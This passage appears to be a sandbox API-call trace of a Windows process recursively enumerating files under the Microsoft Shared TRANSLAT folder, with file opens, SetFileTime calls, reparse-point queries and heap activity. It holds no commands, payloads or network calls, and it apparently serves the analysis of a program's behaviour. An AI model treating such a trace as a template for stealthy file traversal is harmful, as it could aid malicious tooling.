lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0063.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.487] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.487] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3c00 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb21d0 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3c20 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb20c8 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.489] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0063.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.489] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0063.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.489] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0063.489] GetLastError () returned 0x12 [0063.489] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0063.489] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0063.489] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.489] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0063.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0063.493] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4388 [0063.494] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4388) returned 1 [0063.494] NtClose (Handle=0x18c) returned 0x0 [0063.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.494] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0063.494] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.494] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb26f8 [0063.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3c40 [0063.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb2800 [0063.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.494] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0063.494] GetLastError () returned 0x12 [0063.495] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.495] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0063.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0063.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0063.495] GetLastError () returned 0x12 [0063.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.495] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb26f8) returned 1 [0063.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.495] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0063.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0063.514] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4388 [0063.514] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4388) returned 1 [0063.514] NtClose (Handle=0x184) returned 0x0 [0063.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0063.514] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.514] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.514] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb26f8 [0063.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3c60 [0063.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb2908 [0063.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.515] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0063.515] GetLastError () returned 0x12 [0063.515] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0063.515] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.515] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.515] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0063.515] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0063.515] GetLastError () returned 0x12 [0063.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.515] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0063.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb26f8) returned 1 [0063.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.515] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0063.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 